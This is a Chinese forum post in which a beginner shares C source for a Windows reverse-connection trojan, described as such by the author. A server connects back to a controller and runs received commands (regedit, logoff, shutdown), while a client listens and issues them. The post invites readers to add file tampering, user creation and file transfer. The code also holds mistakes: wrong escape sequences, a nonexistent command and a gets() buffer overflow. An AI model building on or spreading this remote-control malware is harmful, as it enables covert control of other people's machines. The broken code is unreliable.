最近学习C网络编程 写了一个简单程序 有很多的不足 还请各位帮忙提点意见
程序是一个有服务端 和一个客户端组成的 简单的说是按照反弹木马原理写的
如果有兴趣的朋友可以加大程序的功能哈!
先看服务端的原代码
// server.cpp : Defines the entry point for the console application.
//本程序为C网络编程基础,由于本人的C语言基础不好 所以在细节上可能绕了很多圈子 还请大家提下意见
//本程序在VC++下调试成功,其他编译器 没有测试
//BY:零点邪恶 QQ:308506025 [E.N.T] [J.T.S]小组
#include "stdafx.h"
#include<stdio.h>
#include<winsock.h> //socket ,网络头文件
#include<windows.h>
#include<stdlib.h>
#pragma comment(lib,"Ws2_32")
#define MAXDATE 50
int main(int argc, char* argv[])
{
int sockfd,mydate; //定义套接字
char buf[MAXDATE];
struct sockaddr_in their_addr; //对方信息
int key=0;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws); //初始 windows socket dll
loop:sockfd=socket(AF_INET,SOCK_STREAM,0);
//连接对方
their_addr.sin_family = AF_INET; //网络协议
their_addr.sin_port = htons(72); //端口定义
their_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //对方IP
connect(sockfd,(struct sockaddr *) &their_addr,sizeof(struct sockaddr)); //进行连接
//接受对方发送的数据
mydate = recv(sockfd,buf,MAXDATE,0);
buf[mydate] = '/0';
// 以下是要在本机上执行的程序,由于测试中所以使用了 WINDOWS自带的命令 有兴趣的朋友可以自己写命令
//比如 修改文件,新建用户,传送文件 等等
if(strcmp(buf,"msg")==0)
{
MessageBox(NULL,"接收程序测试过程","测试",MB_YESNO);
}
else if(strcmp(buf,"regedit")==0)
{
system("regedit");
}
else if(strcmp(buf,"logoff")==0)
{
system("logoff");
}
else if(strcmp(buf,"closepc")==0)
{
system("rononce -p");
}
else if(strcmp(buf,"end")==0)
{
exit(1);
}
if(key!=0)
{
closesocket(sockfd); //关闭sockfd套接字
}
else{goto loop;}
return 0;
}
下面是客户端的原代码
// client1.cpp : Defines the entry point for the console application.
// server.cpp : Defines the entry point for the console application.
//本程序为C网络编程基础,由于本人的C语言基础不好 所以在细节上可能绕了很多圈子 还请大家提下意见
//本程序在VC++下调试成功,其他编译器 没有测试
//BY:零点邪恶 QQ:308506025 [E.N.T] [J.T.S]小组
#include "stdafx.h"
#include<stdio.h>
#include<winsock.h>
#pragma comment (lib,"Ws2_32")
#define BACKLOG 10
int main(int argc, char* argv[])
{
void myhelp();
int sockfd,mysock; //定义套接字
struct sockaddr_in their_addr; /*连接者的信息*/
struct sockaddr_in my_addr; /*自己的信息*/
int sin_size;
int key=0;
char xiao[10];
int i = 0;
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
//绑定自己的信息
sockfd = socket(AF_INET,SOCK_STREAM,0);
my_addr.sin_family = AF_INET; //网络协议
my_addr.sin_port = htons(72); //定义端口
my_addr.sin_addr.s_addr = INADDR_ANY; //本地IP
bind(sockfd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr));
//等待连接
printf("等待ing......../n");
loop:listen(sockfd,BACKLOG); //监听端口
sin_size = sizeof(struct sockaddr_in);
mysock = accept(sockfd,(struct sockaddr *)&their_addr,&sin_size);
i++;
if(i == 1)
{
printf("连接成功,请输入控制命令/n");
printf("Enter:");
}
else
{
printf("请输入控制命令/n");
printf("Enter:");
}
gets(xiao);
if(strcmp(xiao,"help")==0)
{
myhelp();
}
send(mysock,xiao,20,0);
printf("sendOK/n");
if(key != 0)
{
closesocket(sockfd);
closesocket(mysock);
}else{goto loop;}
return 0;
}
//定义一个帮助文件
void myhelp()
{
printf(":msg messageBox函数测试/n:regedit 打开对方注册表/n:logoff 注销对方计算机/n:closepc 15关闭对方对方计算机/n:end 关闭程序 同时断开连接/n");
}